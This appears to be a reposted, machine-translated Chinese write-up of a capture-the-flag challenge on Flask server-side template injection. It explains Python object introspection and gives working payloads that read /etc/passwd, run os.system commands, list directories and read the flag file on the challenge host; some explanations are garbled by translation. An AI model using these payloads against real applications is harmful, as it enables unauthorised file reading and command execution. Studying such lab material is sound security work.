攻防世界 Web_python_template_injection(flask模版注入),攻防世界easychallenge

攻防世界 Web_python_template_injection(flask模版注入) 学习文章:https://www.freebuf.com/column/187845.html
https://blog.csdn.

研究文章:https://www.freebuf.com/column/187845.html

https://blog.csdn.net/weixin_54515836/article/details/113778233

Flask 有两种渲染方法:render_template 和render_template_string。

render_template() 用于渲染指定的文件。像这样使用它

返回render_template(\’index.html\’)

render_template_string 用于渲染字符串。 SSTI 是该方法的一个组成部分。

如何使用它

html=\’h1这是索引页/h1\’

返回渲染模板字符串(html)

Flask金甲渲染引擎中的格式:

控制结构{% %}

变量值{{}}

评论{ }

执行基类

__class__ 返回该类型所属的对象(类)。

__mro__ 返回一个元组,其中包含对象继承的基类。方法在解析时按照元组顺序进行解析。

__base__ 返回该对象继承的基类。

//__base__ 和__mro__ 都用于查找基类

__subclasses__ 每个新类都保存对子类的引用。此方法返回类中仍然可用的引用列表。

__init__类初始化方法

__globals__ 对包含函数全局变量的字典的引用

如果输入公式1+2,您将看到执行该公式以证明ssti的存在。

通过Python对象继承逐步实现读取文件和执行命令。

想法:查找父类类型“对象” – 查找子类- 查找有关命令执行或文件操作的模块。

查找可用参考类的有效负载。

\’\’.__class__.__mro__[2].__subclasses__()

分析:\’\’.__class__.__mro__[2].__subclasses__()方法返回可用的类(classes),而不是对象(objects)。

具体来说,__class__ 是一个内置属性,指示对象所属的类。您可以通过调用__class__.__mro__ 来获取类的方法解析顺序(MRO)。这是一个元组,按照找到方法的顺序列出了对象所属的类及其父类。

在MRO中,索引为2的元素表示对象所属类的直接父类。对于大多数类,索引2 处的元素是对象类。这是因为大多数类直接或间接继承自对象类。

然后,您可以调用__subclasses__() 方法来获取包含该类的所有子类的列表。这些子类是可用于创建对象并调用其方法的类。

综上所述, \’\’.__class__.__mro__[2].__subclasses__() 方法返回可用的类(classes)。

你会发现一个\’file\’类型的类,你可以调用它的方法来读取文件

构造一个有效负载来读取/etc/passwd 文件

http://61.147.171.105:50215/{{\’\’.__class__.__mro__[2].__subclasses__()[40](\’/etc/passwd\’).read()}}

[40]是类型“file”所在的相对于0的位置。

可用的类中还有“site._Printer”类,可以调用其方法来执行命令(其他打印机也可以工作,因为它们包含操作系统模板)。

确保位置为71 并使用__init__ 魔术方法来初始化类。

构建有效负载

http://61.147.171.105:50215/{{\’\’.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\’os\’].system(\’ls\’)}}

如果系统过滤或者没有找到,则使用os listdir读取目录,使用file模块读取文件。

构建有效负载。 listdir函数中的点代表当前目录。

{{\’\’.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\’os\’].listdir(\’.\’)}}

查看标志文件名

使用os模块文件和load进行加载

有效负载:

http://61.147.171.105:50215/{{\’\’.__class__.__mro__[2].__subclasses__()[40](\’fl4g\’).read()}}

标志读取成功

#以上关于攻防世界的相关内容源码Web_python_template_injection(Flask模板注入)相关信息请参考官方公告。

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/93362.html

(0)
CSDN's avatarCSDN
上一篇 2024年7月6日 上午11:51
下一篇 2024年7月6日 下午1:03

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注